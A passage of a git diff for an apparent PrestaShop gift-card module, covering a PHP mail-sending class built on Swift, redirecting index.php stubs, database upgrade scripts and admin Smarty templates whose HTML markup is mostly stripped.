); + return false; + } else if (! file_exists ( $template_path.$template.'.html' ) && ($configuration['PS_MAIL_TYPE'] == self::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == self::TYPE_HTML)) + { + Tools::dieOrLog ( Tools::displayError ( 'Error - The following e-mail template is missing:' ).' '.$template_path.$template.'.html', $die ); + return false; + } + $template_html = Tools::file_get_contents ( $template_path.$template.'.html' ); + $template_txt = strip_tags ( html_entity_decode ( Tools::file_get_contents ( $template_path.$template.'.txt' ), null, 'utf-8' ) ); + + if ($override_mail && file_exists ( $template_path.$iso.'/lang.php' )) + include_once ($template_path.$iso.'/lang.php'); + else if ($module_name && file_exists ( $theme_path.'mails/'.$iso.'/lang.php' )) + include_once ($theme_path.'mails/'.$iso.'/lang.php'); + else if (file_exists ( _PS_MAIL_DIR_.$iso.'/lang.php' )) + include_once (_PS_MAIL_DIR_.$iso.'/lang.php'); + else + { + Tools::dieOrLog ( Tools::displayError ( 'Error - The lang file is missing for :' ).' '.$iso, $die ); + return false; + } + + /* Create mail and attach differents parts */ + $message = new Swift_Message ( '['.Configuration::get ( 'PS_SHOP_NAME', null, null, $id_shop ).'] '.$subject ); + + $message->setCharset ( 'utf-8' ); + + /* Set Message-ID - getmypid() is blocked on some hosting */ + $message->setId ( self::generateId () ); + + $message->headers->setEncoding ( 'Q' ); + + if (Configuration::get ( 'PS_LOGO_MAIL' ) !== false && file_exists ( _PS_IMG_DIR_.Configuration::get ( 'PS_LOGO_MAIL', null, null, $id_shop ) )) + $logo = _PS_IMG_DIR_.Configuration::get ( 'PS_LOGO_MAIL', null, null, $id_shop ); + else + { + if (file_exists ( _PS_IMG_DIR_.Configuration::get ( 'PS_LOGO', null, null, $id_shop ) )) + $logo = _PS_IMG_DIR_.Configuration::get ( 'PS_LOGO', null, null, $id_shop ); + else + $template_vars['{shop_logo}'] = ''; + } + if (version_compare(_PS_VERSION_, '1.5.5.0') >= 0) + ShopUrl::cacheMainDomainForShop ( (int)$id_shop ); + /* don't attach the logo as */ + if (isset ( $logo )) + $template_vars['{shop_logo}'] = $message->attach ( new Swift_Message_EmbeddedFile ( new Swift_File ( $logo ), null, self::getMimeTypeByExtension ( $logo ) ) ); + + if ((Context::getContext ()->link instanceof Link) === false) + Context::getContext ()->link = new Link (); + if (isset ( $giftcard_image )) + { + $template_vars['{giftcard_image}'] = $message->attach ( new Swift_Message_EmbeddedFile ( new Swift_File ( $giftcard_image ), null, self::getMimeTypeByExtension ( $giftcard_image ) ) ); + } + $template_vars['{shop_name}'] = Tools::safeOutput ( Configuration::get ( 'PS_SHOP_NAME', null, null, $id_shop ) ); + $template_vars['{shop_url}'] = Context::getContext ()->link->getPageLink ( 'index', true, Context::getContext ()->language->id ); + $template_vars['{my_account_url}'] = Context::getContext ()->link->getPageLink ( 'my-account', true, Context::getContext ()->language->id ); + $template_vars['{guest_tracking_url}'] = Context::getContext ()->link->getPageLink ( 'guest-tracking', true, Context::getContext ()->language->id ); + $template_vars['{history_url}'] = Context::getContext ()->link->getPageLink ( 'history', true, Context::getContext ()->language->id ); + $template_vars['{color}'] = Tools::safeOutput ( Configuration::get ( 'PS_MAIL_COLOR', null, null, $id_shop ) ); + $swift->attachPlugin ( new Swift_Plugin_Decorator ( array ( + $to_plugin => $template_vars + ) ), 'decorator' ); + if ($configuration['PS_MAIL_TYPE'] == self::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == self::TYPE_TEXT) + $message->attach ( new Swift_Message_Part ( $template_txt, 'text/plain', '8bit', 'utf-8' ) ); + if ($configuration['PS_MAIL_TYPE'] == self::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == self::TYPE_HTML) + $message->attach ( new Swift_Message_Part ( $template_html, 'text/html', '8bit', 'utf-8' ) ); + if ($file_attachment && ! empty ( $file_attachment )) + { + // Multiple attachments? + if (! is_array ( current ( $file_attachment ) )) + $file_attachment = array ( + $file_attachment + ); + + foreach ($file_attachment as $attachment) + if (isset ( $attachment['content'] ) && isset ( $attachment['name'] ) && isset ( $attachment['mime'] )) + $message->attach ( new Swift_Message_Attachment ( $attachment['content'], $attachment['name'], $attachment['mime'] ) ); + } + /* Send mail */ + $send = $swift->send ( $message, $to, new Swift_Address ( $from, $from_name ) ); + $swift->disconnect (); + if (version_compare(_PS_VERSION_, '1.5.5.0') >= 0) + ShopUrl::resetMainDomainCache (); + + return $send; + } catch ( Swift_Exception $e ) + { + return false; + } + } + public static function sendMailTest($smtpChecked, $smtpServer, $content, $subject, $type, $to, $from, $smtpLogin, $smtpPassword, $smtpPort = 25, $smtpEncryption) + { + $swift = null; + $result = false; + try + { + if ($smtpChecked) + { + $smtp = new Swift_Connection_SMTP ( $smtpServer, $smtpPort, ($smtpEncryption == 'off') ? Swift_Connection_SMTP::ENC_OFF : (($smtpEncryption == 'tls') ? Swift_Connection_SMTP::ENC_TLS : Swift_Connection_SMTP::ENC_SSL) ); + $smtp->setUsername ( $smtpLogin ); + $smtp->setpassword ( $smtpPassword ); + $smtp->setTimeout ( 5 ); + $swift = new Swift ( $smtp, Configuration::get ( 'PS_MAIL_DOMAIN' ) ); + } else + $swift = new Swift ( new Swift_Connection_NativeMail (), Configuration::get ( 'PS_MAIL_DOMAIN' ) ); + + $message = new Swift_Message ( $subject, $content, $type ); + + if ($swift->send ( $message, $to, $from )) + $result = true; + + $swift->disconnect (); + } catch ( Swift_ConnectionException $e ) + { + $result = $e->getMessage (); + } catch ( Swift_Message_MimeException $e ) + { + $result = $e->getMessage (); + } + + return $result; + } + + /** + * This method is used to get the translation for email Object. + * For an object is forbidden to use htmlentities, + * we have to return a sentence with accents. + * + * @param string $string + * raw sentence (write directly in file) + */ + public static function l($string, $id_lang = null, Context $context = null) + { + global $_LANGMAIL; + if (! $context) + $context = Context::getContext (); + + $key = str_replace ( '\'', '\\\'', $string ); + if ($id_lang == null) + $id_lang = (! isset ( $context->language ) || ! is_object ( $context->language )) ? (int)Configuration::get ( 'PS_LANG_DEFAULT' ) : (int)$context->language->id; + + $iso_code = Language::getIsoById ( (int)$id_lang ); + + $file_core = _PS_ROOT_DIR_.'/mails/'.$iso_code.'/lang.php'; + if (Tools::file_exists_cache ( $file_core ) && empty ( $_LANGMAIL )) + include_once ($file_core); + + $file_theme = _PS_THEME_DIR_.'mails/'.$iso_code.'/lang.php'; + if (Tools::file_exists_cache ( $file_theme )) + include_once ($file_theme); + + if (! is_array ( $_LANGMAIL )) + return (str_replace ( '"', '"', $string )); + if (array_key_exists ( $key, $_LANGMAIL ) && ! empty ( $_LANGMAIL[$key] )) + $str = $_LANGMAIL[$key]; + else + $str = $string; + + return str_replace ( '"', '"', Tools::stripslashes ( $str ) ); + } + + /* Rewrite of Swift_Message::generateId() without getmypid() */ + protected static function generateId($idstring = null) + { + $midparams = array ( + "utctime" => gmstrftime ( "%Y%m%d%H%M%S" ), + "randint" => mt_rand (), + "customstr" => (preg_match ( "/^(? (isset ( $_SERVER["SERVER_NAME"] ) ? $_SERVER["SERVER_NAME"] : php_uname ( "n" )) + ); + return vsprintf ( "<%s.%d.%s@%s>", $midparams ); + } + public static function isMultibyte($data) + { + $length = Tools::strlen ( $data ); + + for ($i = 0; $i < $length; $i ++) + { + $result = ord ( ($data[$i]) ); + + if ($result > 128) + { + return true; + } + } + + return false; + } + public static function mimeEncode($string, $charset = 'UTF-8', $newline = "\r\n") + { + if (! self::isMultibyte ( $string ) && Tools::strlen ( $string ) < 75) + { + return $string; + } + + $charset = Tools::strtoupper ( $charset ); + $start = '=?'.$charset.'?B?'; + $end = '?='; + $sep = $end.$newline.' '.$start; + $length = 75 - Tools::strlen ( $start ) - Tools::strlen ( $end ); + $length = $length - ($length % 4); + + if ($charset === 'UTF-8') + { + $parts = array (); + $maxchars = floor ( ($length * 3) / 4 ); + $stringLength = Tools::strlen ( $string ); + + while ($stringLength > $maxchars) + { + $i = (int)$maxchars; + $result = ord ( $string[$i] ); + + while ($result >= 128 && $result <= 191) + { + $i --; + $result = ord ( $string[$i] ); + } + + $parts[] = base64_encode ( Tools::substr ( $string, 0, $i ) ); + $string = Tools::substr ( $string, $i ); + $stringLength = Tools::strlen ( $string ); + } + + $parts[] = base64_encode ( $string ); + $string = implode ( $sep, $parts ); + } else + { + $string = chunk_split ( base64_encode ( $string ), $length, $sep ); + $string = preg_replace ( '/'.preg_quote ( $sep ).'$/', '', $string ); + } + + return $start.$string.$end; + } + public static function getMimeTypeByExtension($file_name) + { + $types = array( + 'image/gif' => array('gif'), + 'image/jpeg' => array('jpg', 'jpeg'), + 'image/png' => array('png') + ); + $extension = substr($file_name, strrpos($file_name, '.') + 1); + + $mime_type = null; + foreach ($types as $mime => $exts) + if (in_array($extension, $exts)) + { + $mime_type = $mime; + break; + } + + if ($mime_type === null) + $mime_type = 'image/jpeg'; + + return $mime_type; + } +} diff --git a/modules/giftcard/tools/index.php b/modules/giftcard/tools/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/tools/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/upgrade/install-1.0.5.php b/modules/giftcard/upgrade/install-1.0.5.php new file mode 100755 index 0000000..2c209ce --- /dev/null +++ b/modules/giftcard/upgrade/install-1.0.5.php @@ -0,0 +1,43 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_1_0_5($object, $install = false) +{ + if (($object->active || $install)) + { + $result = true; + if (!Db::getInstance()->Execute(' + ALTER TABLE `' . _DB_PREFIX_ . 'giftcardproduct` ADD `cr_free_shipping` tinyint(1) NOT NULL DEFAULT 0')) + $result = false; + if (!Db::getInstance()->Execute(' + ALTER TABLE `' . _DB_PREFIX_ . 'giftcardproduct` ADD `cr_partial_use` tinyint(1) NOT NULL DEFAULT 1')) + $result = false; + } + return $result; +} diff --git a/modules/giftcard/upgrade/install-1.0.6.php b/modules/giftcard/upgrade/install-1.0.6.php new file mode 100755 index 0000000..9996d93 --- /dev/null +++ b/modules/giftcard/upgrade/install-1.0.6.php @@ -0,0 +1,52 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_1_0_6 ($object, $install = false) +{ + if (($object->active || $install)) + { + $result = true; + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardtemplate_shop` ( + `id_gift_card_template` int(11) unsigned NOT NULL, + `id_shop` int(11) unsigned NOT NULL, + PRIMARY KEY (`id_gift_card_template`,`id_shop`), + KEY `id_shop` (`id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;')) + $result = false; + foreach (Db::getInstance()->executeS('SELECT id_gift_card_template FROM '._DB_PREFIX_.'giftcardtemplate') as $rowgct) + foreach (Db::getInstance()->executeS('SELECT id_shop FROM '._DB_PREFIX_.'shop') as $rowshop) + $insertshop[] = array( + 'id_gift_card_template' => (int)$rowgct['id_gift_card_template'], + 'id_shop' => (int)$rowshop['id_shop'], + ); + Db::getInstance()->insert('giftcardtemplate_shop', $insertshop, false, true, Db::INSERT_IGNORE); + } + return $result; +} diff --git a/modules/giftcard/upgrade/install-1.0.7.php b/modules/giftcard/upgrade/install-1.0.7.php new file mode 100755 index 0000000..624555a --- /dev/null +++ b/modules/giftcard/upgrade/install-1.0.7.php @@ -0,0 +1,40 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_1_0_7 ($object, $install = false) +{ + if (($object->active || $install)) + { + $result = true; + Db::getInstance()->Execute(' + ALTER TABLE `' . _DB_PREFIX_ . 'giftcardorder` + CHANGE COLUMN `id_gift_card_template` `id_gift_card_template` INT(10) NULL DEFAULT NULL'); + } + return $result; +} diff --git a/modules/giftcard/views/index.php b/modules/giftcard/views/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card/helpers/form/formno.tpl b/modules/giftcard/views/templates/admin/gift_card/helpers/form/formno.tpl new file mode 100755 index 0000000..7ac344d --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card/helpers/form/formno.tpl @@ -0,0 +1,91 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + * + *} + {if $ps_version <= "1.6" } + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
        {block name="leadin"}{/block}
        +{/if} + +
        +{if $ps_version >= "1.6" } +

        {l s='Gift Card' mod='giftcard'}

        +{/if} + +
        + {if $currentObject->id}{/if} + +
        +

        {l s='Gift card information' mod='giftcard'}

        +
        + {include file='../../informations.tpl'} +
        + +
        +
        + \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card/helpers/form/index.php b/modules/giftcard/views/templates/admin/gift_card/helpers/form/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card/helpers/form/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card/helpers/index.php b/modules/giftcard/views/templates/admin/gift_card/helpers/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card/helpers/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card/index.php b/modules/giftcard/views/templates/admin/gift_card/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card/informations.tpl b/modules/giftcard/views/templates/admin/gift_card/informations.tpl new file mode 100755 index 0000000..206457d --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card/informations.tpl @@ -0,0 +1,92 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + + + +
        + +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +

        {l s='This will be displayed in the cart summary, as well as on the invoice.' mod='giftcard'}

        +
        + +
        + +

        {l s='gift card only visible' mod='giftcard'}

        +
        + +
        + + + + + * +
        + +
        + + * +
        + +
        + + {l s='Month' mod='giftcard'}* +
        + +
        + +
        + +
        + +
        + +
        + +
        + + +
        +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +
        +
        \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_order/index.php b/modules/giftcard/views/templates/admin/gift_card_order/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_order/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_order/list/custom_field.tpl b/modules/giftcard/views/templates/admin/gift_card_order/list/custom_field.tpl new file mode 100755 index 0000000..57781c2 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_order/list/custom_field.tpl @@ -0,0 +1,37 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + +
        + + + + + + + {if $giftcardorder->receptmode==1} + + + {/if} + + +
        {l s='Buyer' mod='giftcard'}
        {l s='From' mod='giftcard'}{$giftcardorder->from}
        {l s='Reception' mod='giftcard'}{if $giftcardorder->receptmode==1}{l s='Email to a specific date' mod='giftcard'}{else}{l s='Print at home' mod='giftcard'}{/if}
        {l s='Person who Receive card' mod='giftcard'}
        {l s='Delivery date' mod='giftcard'}{$giftcardorder->delivery_date}
        {l s='Mail' mod='giftcard'}{$giftcardorder->to_mail}
        {l s='Lastname' mod='giftcard'}{$giftcardorder->lastname}
        {l s='message' mod='giftcard'}{$giftcardorder->message}
        +
        + + diff --git a/modules/giftcard/views/templates/admin/gift_card_order/list/index.php b/modules/giftcard/views/templates/admin/gift_card_order/list/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_order/list/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_order/list/list_header.tpl b/modules/giftcard/views/templates/admin/gift_card_order/list/list_header.tpl new file mode 100755 index 0000000..ca55879 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_order/list/list_header.tpl @@ -0,0 +1,55 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + +{if $ps_version < "1.6" } +
        +{/if} + + + + diff --git a/modules/giftcard/views/templates/admin/gift_card_template/customize.tpl b/modules/giftcard/views/templates/admin/gift_card_template/customize.tpl new file mode 100755 index 0000000..bdfcc6c --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_template/customize.tpl @@ -0,0 +1,227 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + {if $ps_version >= "1.6"} +
        + {if !$imagick}

        {l s='The personalization feature requires php imagick extension, this extension is not present on your server.' mod='giftcard'}

        {/if} +
        +
        + +
        +
        +
        + {if isset($availablevars['giftcard_price']) || isset($availablevars['giftcard_code'])} +

        {l s='Data variable' mod='giftcard'}

        + + {if isset($availablevars['giftcard_price'])} +
        + +
        + +
        +
        + {/if} + {if isset($availablevars['giftcard_code'])} +
        + +
        + +
        +
        + {/if} + {/if} + {if $haveCustomText} +

        {l s='Customizable text' mod='giftcard'}

        + {foreach from=$availablevars key=field item=v} + {if $field|strstr:"var_text"} +
        + +
        + {foreach from=$languages item=language} + {if $languages|count > 1} +
        +
        +
        + {/if} + + + {if $languages|count > 1} +
        +
        + + +
        +
        +
        + {/if} + + {/foreach} +
        +
        + {/if} + {/foreach} + {/if} + {if $haveCustomColor} +

        {l s='Customizable color' mod='giftcard'}

        + {foreach from=$availablevars key=field item=v name=foo} + {if $field|strstr:"var_color"} +
        + +
        +
        +
        +
        +
        + + +
        +
        +
        +
        +
        +
        + {/if} + {/foreach} + + {/if} + +
        +
        + {else} + {if !$imagick}

        {l s='The personalization feature requires php imagick extension, this extension is not present on your server.' mod='giftcard'}

        {/if} + + +
        getFieldValue($currentObject, 'usecustom')|intval && $imagick} style="display:none"{/if}> +
        +
        +
        +
        +
        +
        + +
        +
        +
        +

        {l s='Data variable' mod='giftcard'}

        + + {if isset($availablevars['giftcard_price']) || isset($availablevars['giftcard_code'])} + {if isset($availablevars['giftcard_price'])} + + + + + {/if} + {if isset($availablevars['giftcard_code'])} + + + + + {/if} + {/if} +
        {l s='Price' mod='giftcard'} + +
        {l s='Discount code' mod='giftcard'} + +
        + {if $haveCustomText} +

        {l s='Customizable text' mod='giftcard'}

        + + {foreach from=$availablevars key=field item=v} + {if $field|strstr:"var_text"} + + + + {/if} + {/foreach} +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +
        + {/if} + {if $haveCustomColor} +

        {l s='Customizable color' mod='giftcard'}

        + + {foreach from=$availablevars key=field item=v name=foo} + {if $field|strstr:"var_color"} + + + + + {/if} + {/foreach} +
        {$field|escape:'htmlall'} + +
        + {/if} + {if $haveCustomText} +

        {l s='Preview' mod='giftcard'}

        + + + + + +
        {l s='The Language used to preview' mod='giftcard'} + +
        + {/if} +
        + {l s='Preview' mod='giftcard'} +
        + +
        +
        +
        +{/if} \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/form.tpl b/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/form.tpl new file mode 100755 index 0000000..6a53ac2 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/form.tpl @@ -0,0 +1,82 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} +{if $ps_version <= "1.6" } + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +{/if} +
        +

        {l s='Gift Card template' mod='giftcard'}

        + +
        + {if $currentObject->id}{/if} + +
        + {if $ps_version < "1.6" }

        {l s='Template information' mod='giftcard'}

        {/if} +
        + {include file='../../informations.tpl'} +
        +
        + {if $ps_version < "1.6" }

        {l s='Customize template' mod='giftcard'}

        {/if} +
        + {include file='../../customize.tpl'} +
        + {if $ps_version >= "1.6" } + + {else} + + {/if} + +
        +{if $ps_version >= "1.6" } + {include file="footer_toolbar.tpl"} +{/if} +
        + + diff --git a/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/index.php b/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_template/helpers/index.php b/modules/giftcard/views/templates/admin/gift_card_template/helpers/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_template/helpers/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_template/index.php b/modules/giftcard/views/templates/admin/gift_card_template/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_template/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/views/templates/admin/gift_card_template/informations.tpl b/modules/giftcard/views/templates/admin/gift_card_template/informations.tpl new file mode 100755 index 0000000..a7b1e71 --- /dev/null +++ b/modules/giftcard/views/templates/admin/gift_card_template/informations.tpl @@ -0,0 +1,307 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + * + *} + {*** PSVERSION >= 1.6 ***} + {if $ps_version >= 1.6} +
        + +
        + {foreach from=$languages item=language} + {if $languages|count > 1} +
        +
        +
        + {/if} + + {if $languages|count > 1} +
        +
        + + +
        +
        +
        + {/if} + {/foreach} +
        +
        +
        + +
        + {if $languages|count > 1} +
        + {/if} + {foreach from=$languages item=language} + {literal} + + {/literal} + {if $languages|count > 1} +
        +
        + {/if} + + {if $languages|count > 1} +
        +
        + + +
        +
        + {/if} + {/foreach} + {if $languages|count > 1} +
        + {/if} +
        +
        +
        + +
        +
        + +
        +
        +
        +
        + +
